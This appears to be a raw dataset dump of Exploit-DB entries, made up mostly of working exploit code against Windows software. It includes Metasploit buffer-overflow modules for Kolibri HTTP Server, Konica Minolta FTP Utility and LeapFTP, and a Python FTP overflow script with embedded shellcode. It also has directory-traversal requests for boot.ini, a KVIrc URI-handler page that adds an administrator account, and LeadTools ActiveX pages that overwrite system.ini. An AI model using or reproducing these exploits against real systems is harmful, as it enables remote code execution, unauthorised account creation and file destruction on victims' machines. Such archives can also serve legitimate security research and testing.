deardaniel/secdata-raw huggingface dataset:
Exploit-DB #16970
Description: Kolibri HTTP Server 2.0 - HEAD Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2011-08-03
Author: Metasploit

Exploit:
##
# $Id: kolibri_http.rb 10887 2011-08-03 12:19:19Z mr_me $

##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	HttpFingerprint = { :pattern => [ /kolibri-2\.0/ ] }

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Egghunter

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Kolibri <= v2.0 HTTP Server HEAD Buffer Overflow',
			'Description'    => %q{This exploits a stack buffer overflow in version 2 of the Kolibri HTTP server.},
			'Author'         => 
					[ 
						'mr_me <steventhomasseeley@gmail.com>', # msf
						'TheLeader' # original exploit
					],
			'Version'        => '$Revision: 10887 $',
			'References'     =>
				[
					[ 'CVE', '2002-2268' ],
					[ 'OSVDB', '70808' ],
					[ 'BID', '6289' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/15834/' ],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'       => 3000,
					'DisableNops' => true,
					'BadChars'    => "\x00\x0d\x0a\x3d\x20\x3f",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP sp3', { 'Ret' => 0x7E429353 } ] ,
					[ 'Windows Server 2003 sp2', { 'Ret' => 0x76F73BC3 } ] ,
				],
			'DisclosureDate' => 'Dec 26 2010',
			'DefaultTarget'  => 0))
	end

	def check
		info = http_fingerprint
		if info and (info =~ /kolibri-2\.0/)
			return Exploit::CheckCode::Vulnerable
		end
		Exploit::CheckCode::Safe
	end

	def exploit
		#7E429353    FFE4            JMP     ESP
		# For a reliable and large payload, we use an egg hunter
		# and direct RET to execute code
		print_status("Sending request...")
		eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars)
		sploit = Rex::Text.rand_text_alphanumeric(515) + [target.ret].pack('V')
		sploit << eh_stub
		send_request_raw({
			'uri'     => "/" + sploit,
			'version' => '1.1',
			'method'  => 'HEAD',
			'headers' => {'Content-Type' => eh_egg},
		})

		handler
	end

end
Exploit-DB #9650
Description: Kolibri+ Web Server 2 - Arbitrary Source Code Disclosure (2)
Type: remote
Platform: windows
Date: 2009-09-11
Author: Dr_IDE

Exploit:
#################################################################################
#                                                                        	#
# Kolibri+ Web Server 2 Remote Arbitrary Source Code Disclosure 		#
# aka:		More fun with Kolibri+ 2 webserver 		         	#
# Found By:	Dr_IDE								#
# Tested On:	Windows XPSP3                                            	#
#                                                                        	#
#################################################################################

- Description -

Kolibri+ 2 Web Server is a Windows based HTTP server. This is the latest version of
the application available. 

This vulnerability is similar to the one reported earlier by Skull-HacKeR.

Kolibri+ 2 is vulnerable to remote arbitrary source code disclosure
(download in this case) by the following means.

- Technical Details -

	http://[ webserver IP]/[ file ][::$DATA]

	http://172.16.2.101/default.asp::$DATA

	http://172.16.2.101/index.php::$DATA

# milw0rm.com [2009-09-11]
Exploit-DB #9643
Description: kolibri+ Web Server 2 - Directory Traversal
Type: remote
Platform: windows
Date: 2009-09-11
Author: Usman Saeed

Exploit:
#############################################################################################
#
#   Name    :   Kolibri+ Webserver 2 , Directory Traversal Vulnerability
#   Author  :   Usman Saeed
#   Company :   Xc0re Security Reasearch Group
#   Date    :   06/09/09
#   Homepage :  http://www.xc0re.net
#
#############################################################################################


[*] Download Page :
http://download.cnet.com/Kolibri-WebServer/3000-10248_4-10896378.html?tag=mncol


[*] Attack type : Remote


[*] Patch Status : Unpatched



[*] Exploitation :


          [Directory Traversal]

GET /../../../../../../../../../boot.ini HTTP/1.0
GET /../../../../../../../../boot.ini HTTP/1.0

# milw0rm.com [2009-09-11]
Exploit-DB #9638
Description: Kolibri+ Web Server 2 - Source Code Disclosure
Type: remote
Platform: windows
Date: 2009-09-11
Author: SkuLL-HackeR

Exploit:
#############################################################################################
#
#   Name    :   Kolibri+ Webserver 2 , Remote file disclousure exploit
#   Author  :   Skull-HacKeR
#
#############################################################################################


[*] Download Page :
http://download.cnet.com/Kolibri-WebServer/3000-10248_4-10896378.html?tag=mncol


[*] Attack type : Remote

[*] Exploitation

Exploit:
http://127.0.0.1/default.asp.
http://127.0.0.1/default.php.

# milw0rm.com [2009-09-11]
Exploit-DB #38260
Description: Konica Minolta FTP Utility 1.0 - Directory Traversal
Type: remote
Platform: windows
Date: 2015-09-22
Author: shinnai

Exploit:
/*
---------------------------------------------------------------------
Konica Minolta FTP Utility directory traversal vulnerability
Url: http://download.konicaminolta.hk/bt/driver/mfpu/ftpu/ftpu_10.zip

Author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://www.shinnai.altervista.org/
Poc: http://shinnai.altervista.org/exploits/SH-0[PII_REDACTED]2.html
---------------------------------------------------------------------
*/

<?php
   $local_file = 'boot.ini.txt';
   $server_file = '..\..\..\..\..\..\..\..\boot.ini';

   $conn_id = ftp_connect($ftp_server);
   $login_result = ftp_login($conn_id, "anonymous", "anonymous");

   if (ftp_get($conn_id, $local_file, $server_file, FTP_BINARY)) {
     echo "Successfully written to $local_file\n";
   } else {
     echo "There was a problem\n";
   }
   ftp_close($conn_id);
?>
---------------------------------------------------------------------
Exploit-DB #38252
Description: Konica Minolta FTP Utility 1.0 - Remote Command Execution
Type: remote
Platform: windows
Date: 2015-09-20
Author: R-73eN

Exploit:
# Title: Konica Minolta FTP Utility - Remote Command Execution
# Date : 20/09/2015
# Author: R-73eN
# Software: Konica Minolta FTP Utility v1.0
# Tested: Windows XP SP3 
# Software link: http://download.konicaminolta.hk/bt/driver/mfpu/ftpu/ftpu_10.zip
# Every command is vulnerable to buffer overflow.

import socket
import struct

shellcode =  ""#msfvenom -p windows/exec cmd=calc.exe -f python -b "\x00\x0d\x0a\x3d\x5c\x2f"
shellcode += "\xbd\xfe\xbd\x27\xc9\xda\xd8\xd9\x74\x24\xf4\x5e\x29"
shellcode += "\xc9\xb1\x31\x31\x6e\x13\x83\xee\xfc\x03\x6e\xf1\x5f"
shellcode += "\xd2\x35\xe5\x22\x1d\xc6\xf5\x42\x97\x23\xc4\x42\xc3"
shellcode += "\x20\x76\x73\x87\x65\x7a\xf8\xc5\x9d\x09\x8c\xc1\x92"
shellcode += "\xba\x3b\x34\x9c\x3b\x17\x04\xbf\xbf\x6a\x59\x1f\xfe"
shellcode += "\xa4\xac\x5e\xc7\xd9\x5d\x32\x90\x96\xf0\xa3\x95\xe3"
shellcode += "\xc8\x48\xe5\xe2\x48\xac\xbd\x05\x78\x63\xb6\x5f\x5a"
shellcode += "\x85\x1b\xd4\xd3\x9d\x78\xd1\xaa\x16\x4a\xad\x2c\xff"
shellcode += "\x83\x4e\x82\x3e\x2c\xbd\xda\x07\x8a\x5e\xa9\x71\xe9"
shellcode += "\xe3\xaa\x45\x90\x3f\x3e\x5e\x32\xcb\x98\xba\xc3\x18"
shellcode += "\x7e\x48\xcf\xd5\xf4\x16\xd3\xe8\xd9\x2c\xef\x61\xdc"
shellcode += "\xe2\x66\x31\xfb\x26\x23\xe1\x62\x7e\x89\x44\x9a\x60"
shellcode += "\x72\x38\x3e\xea\x9e\x2d\x33\xb1\xf4\xb0\xc1\xcf\xba"
shellcode += "\xb3\xd9\xcf\xea\xdb\xe8\x44\x65\x9b\xf4\x8e\xc2\x53"
shellcode += "\xbf\x93\x62\xfc\x66\x46\x37\x61\x99\xbc\x7b\x9c\x1a"
shellcode += "\x35\x03\x5b\x02\x3c\x06\x27\x84\xac\x7a\x38\x61\xd3"
shellcode += "\x29\x39\xa0\xb0\xac\xa9\x28\x19\x4b\x4a\xca\x65"
banner = ""
banner +="  ___        __        ____                 _    _  \n"  
banner +=" |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    \n"
banner +="  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    \n"
banner +="  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ \n"
banner +=" |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|\n\n"
print banner
nSEH = "\xEB\x13\x90\x90"
SEH = struct.pack('<L',0x1220401E)
evil = "A" * 8343 + nSEH + SEH + "\x90" * 22 + shellcode +"D" * (950 - len(shellcode))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server = raw_input('Enter IP : ')
s.connect((server, 21))
a = s.recv(1024)
print ' [+] ' + a
s.send('User ' + evil )
print '[+] https://www.infogen.al/ [+]'
Exploit-DB #38254
Description: Konica Minolta FTP Utility 1.00 - (Authenticated) CWD Command Overflow (SEH) (Metasploit)
Type: remote
Platform: windows
Date: 2015-09-21
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Ftp
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Konica Minolta FTP Utility 1.00 Post Auth CWD Command SEH Overflow',
      'Description' => %q{
          This module exploits an SEH overflow in Konica Minolta FTP Server 1.00.
        Konica Minolta FTP fails to check input size when parsing 'CWD' commands, which
        leads to an SEH overflow.  Konica FTP allows anonymous access by default; valid
        credentials are typically unnecessary to exploit this vulnerability.
      },
      'Author' =>
        [
          'Shankar Damodaran', # stack buffer overflow dos p.o.c
          'Muhamad Fadzil Ramli <mind1355[at]gmail.com>' # seh overflow, metasploit module
        ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          [ 'EBD', '37908' ]
        ],
      'Privileged' => false,
      'Payload' =>
        {
          'Space' => 1500,
          'BadChars' => "\x00\x0a\x2f\x5c",
          'DisableNops' => true
        },
      'Platform' => 'win',
      'Targets' =>
        [
          [
            'Windows 7 SP1 x86',
            {
              'Ret' => 0x12206d9d, # ppr - KMFtpCM.dll
              'Offset' => 1037
            }
          ]
        ],
      'DisclosureDate' => 'Aug 23 2015',
      'DefaultTarget' => 0))
  end

  def check
    connect
    disconnect

    if banner =~ /FTP Utility FTP server \(Version 1\.00\)/
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    connect_login

    buf = rand_text(target['Offset'])
    buf << generate_seh_record(target.ret)
    buf << payload.encoded
    buf << rand_text(3000)

    print_status("Sending exploit buffer...")
    send_cmd(['CWD', buf], false) # this will automatically put a space between 'CWD' and our attack string

    handler
    disconnect
  end
end
Exploit-DB #23121
Description: Kukol E.V. HTTP & FTP Server Suite 6.2 - File Disclosure
Type: remote
Platform: windows
Date: 2003-09-08
Author: euronymous

Exploit:
source: https://www.securityfocus.com/bid/8564/info

The web server component of Kukol E.V. HTTP & FTP Server Suite is prone to a file disclosure vulnerability. Remote web users may use directory traversal sequences in requests to gain access to files outside of the server's web root directory. 

http://www.example.com/../windows/system.ini
Exploit-DB #7181
Description: KVIrc 3.4.2 Shiny - URI handler Remote Command Execution
Type: remote
Platform: windows
Date: 2008-11-21
Author: Nine:Situations:Group

Exploit:
<!--
KVIrc 3.4.2 Shiny (uri handler) remote command execution exploit
by Nine:Situations:Group::strawdog
Tested against IE8beta/WINxpsp3

software site:
http://www.kvirc.net/?lang=en
description:
"KVIrc is a Multilanguage, graphical IRC-Client for Windows, Linux, Unix and Mac
OS.[..]"

A command line parsing vulnerability exists (or I should say persists...:
http://secunia.com/advisories/25740, fixed or not?) which can be exploited by
passing the '"' char followed by command line switches to 'irc:///', 'irc6:///',
'ircs:///' and 'ircs6:///' urls, ex. this shows the argument list:
irc:///"%20--help%20"
The most interesting one is the -e switch followed by 'run' command, this runs
calc.exe:
irc:///"%20--nosplash%20-e%20"run%20calc"%20"

The following links add a new user on target with admin privileges
-->
<html>
  <body>

  <a href='irc:///"%20--nosplash%20-e%20"run%20cmd.exe%20/c%20net%20user%20strawdog%20pass%20/add%20&%20net%20localgroup%20Administrators%20strawdog%20/add"%20"'>Heaven and Earth are impartial</a><br>

  <a href='irc6:///"%20--nosplash%20-e%20"run%20cmd.exe%20/c%20net%20user%20strawdog%20pass%20/add%20&%20net%20localgroup%20Administrators%20strawdog%20/add"%20"'>They see the ten thousand things as straw dogs</a><br>

  <a href='ircs:///"%20--nosplash%20-e%20"run%20cmd.exe%20/c%20net%20user%20strawdog%20pass%20/add%20&%20net%20localgroup%20Administrators%20strawdog%20/add"%20"'>The wise are impartial</a><br>

  <a href='ircs6:///"%20--nosplash%20-e%20"run%20cmd.exe%20/c%20net%20user%20strawdog%20pass%20/add%20&%20net%20localgroup%20Administrators%20strawdog%20/add"%20"'>They see the people as straw dogs</a><br>

  </body>
</html>

# milw0rm.com [2008-11-21]
Exploit-DB #35880
Description: LeadTools Imaging LEADSmtp - ActiveX Control 'SaveMessage()' Insecure Method
Type: remote
Platform: windows
Date: 2011-06-23
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/48408/info

LEADTOOLS Imaging LEADSmtp ActiveX control is prone to a vulnerability caused by an insecure method.

Successfully exploiting this issue will allow attackers to create or overwrite files within the context of the affected application (typically Internet Explorer) that uses the ActiveX control. Attackers may execute arbitrary code with user-level privileges. 

<html>
<object classid='clsid:0014085F-B1BA-11CE-ABC6-F5B2E79D9E3F' id='target' /></object>
<input language=VBScript onclick=Boom() type=button value="Exploit">
<script language = 'vbscript'>

Sub Boom()
arg1="FilePath\Filename_to_overwrite"
arg2=True
target.SaveMessage arg1 ,arg2
End Sub

</script>
</html>
Exploit-DB #31534
Description: LeadTools MultiMedia 15 - 'LTMM15.dll' ActiveX Control Arbitrary File Overwrite
Type: remote
Platform: windows
Date: 2008-03-25
Author: shinnai

Exploit:
source: https://www.securityfocus.com/bid/28442/info

LEADTOOLS Multimedia is prone to multiple vulnerabilities that allow attackers to overwrite arbitrary files. These issues affect multiple ActiveX controls.

An attacker can exploit these issues by enticing an unsuspecting victim to view a malicious HTML page.

Successfully exploiting these issues will allow the attacker to corrupt and overwrite arbitrary files on the victim's computer in the context of the vulnerable application using the ActiveX control (typically Internet Explorer).

LEADTOOLS Multimedia 15 is vulnerable; other versions may also be affected.

<pre>
<code><span style="font: 10pt Courier New;"><span 
class="general1-symbol"><body 
bgcolor="#E0E0E0">--------------------------------------------------------------------
 <b>LEADTOOLS Multimedia Toolkit 15 Arbitrary Files Overwrite</b>
 url: http://www.leadtools.com

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 <b><font color=&#039;red&#039;>This was written for educational purpose. Use it 
at your own risk.
 Author will be not responsible for any damage.</font></b>
--------------------------------------------------------------------
&lt;object classid=&#039;clsid:00150B1A-B1BA-11CE-ABC6-F5B2E79D9E3F&#039; 
id=&#039;test&#039;&gt;&lt;/object&gt;

&lt;input language=VBScript onclick=tryMe() type=button value=&#039;Click 
here to start the test&#039;&gt;

&lt;script language=&#039;vbscript&#039;&gt;

 Sub tryMe
  test.SaveSettingsToFile &quot;c:\windows\system_.ini&quot;, 1
  MsgBox &quot;Exploit completed!&quot;
 End Sub
&lt;/script&gt;
</span></span>
</code></pre>
Exploit-DB #3961
Description: LeadTools Raster Variant - 'LTRVR14e.dll' Remote File Overwrite
Type: remote
Platform: windows
Date: 2007-05-21
Author: shinnai

Exploit:
<pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/21</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------------------------------
 <b>LeadTools Raster Variant Object Library (LTRVR14e.dll v. 14.5.0.44) Remote Arbitrary File Overwrite</b>
 url: http://www.leadtools.com/
 price: eheheh, take a look at thier site :)

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 <b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
 IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.
-----------------------------------------------------------------------------------------------------

<object classid='clsid:00140B9B-B1BA-11CE-ABC6-F5B2E79D9E3F' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  On Error Resume Next
   Dim MyMsg
   If(MsgBox("This was written for educational purpose. Use it at your own risk." & vbCrLf & _
             "Author will be not be responsible for any damage." & vbCrLf & vbCrLf & _
             "THIS EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY" & _
             " OF IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!" & VBcRlF & "ARE YOU" & _
             " SURE YOU REALLY WANT TO RUN THIS EXPLOIT?",4)=vbYes) Then
    test.WriteDataToFile "c:\windows\system_.ini"
    MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's overwritten.", 64,"2007/05/21 - LeadTools Raster Variant Object Library")
   Else
    MyMsg = MsgBox ("Nice, be safe!", 64, "2007/05/21 - LeadTools Raster Variant Object Library")
   End If 
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-05-21]
Exploit-DB #16704
Description: LeapFTP 3.0.1 - Remote Stack Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-11-14
Author: Metasploit

Exploit:
##
# $Id: leapftp_list_reply.rb 11039 2010-11-14 19:03:24Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::FtpServer
	include Msf::Exploit::Remote::Egghunter

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'LeapFTP 3.0.1 Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in the LeapFTP 3.0.1 client.
				This issue is triggered when a file with a long name is downloaded/opened.
			},
			'Author' 	 =>
				[
					'corelanc0d3r',  # Original bug, completed MSF module
					'nullthreat'     # Ported PoC to MSF
				],
			'License'        => MSF_LICENSE,
			'Version'        => "$Revision: 11039 $",
			'References'     =>
				[
					[ 'OSVDB', '68640'],
					[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
				},
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows Universal', { 'Offset' => 528,'Ret' => 0x0042A8A8 } ], # ADD ESP,64, POP EBX, RET :) boy I love pvefindaddr
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Oct 12 2010',
			'DefaultTarget'  => 0))
	end

	def setup
		super
	end

	def on_client_unknown_command(c,cmd,arg)
		c.put("200 OK\r\n")
	end

	def on_client_command_list(c,arg)
			conn = establish_data_connection(c)
			if(not conn)
				c.put("425 Can't build data connection\r\n")
				return
			end
			print_status(" - Data connection set up")
			code = 150
			c.put("#{code} Here comes the directory listing.\r\n")
			code = 226
			c.put("#{code} Directory send ok.\r\n")
			# create the egg hunter
			badchars = ""
			eggoptions =
			{
			:checksum => true,
			:eggtag => "W00T"
			}
			hunter,egg = generate_egghunter(payload.encoded,badchars,eggoptions)
			# Get the file ready
			junk = "\x73\x65"  #73 65 = jump over filename = "se"
			junk << "cret admin passwords.txt"
			junk << "_" * ((target['Offset'])-junk.length-hunter.length) # _ = POP EDI
			junk << hunter
			seh = [target.ret].pack('V')
			shellcode = egg + egg + payload.encoded
			junk2 = rand_text_alpha((2000 - shellcode.length))
			payload = junk + seh + shellcode + junk2
			strfile = payload
			print_status(" - Sending directory list via data connection")
			dirlist = "-rw-rw-r--    1 1176     1176         1060 Aug 16 22:22 #{strfile}.txt\r\n"
			conn.put("total 2\r\n"+dirlist)
			conn.close
			return
	end

end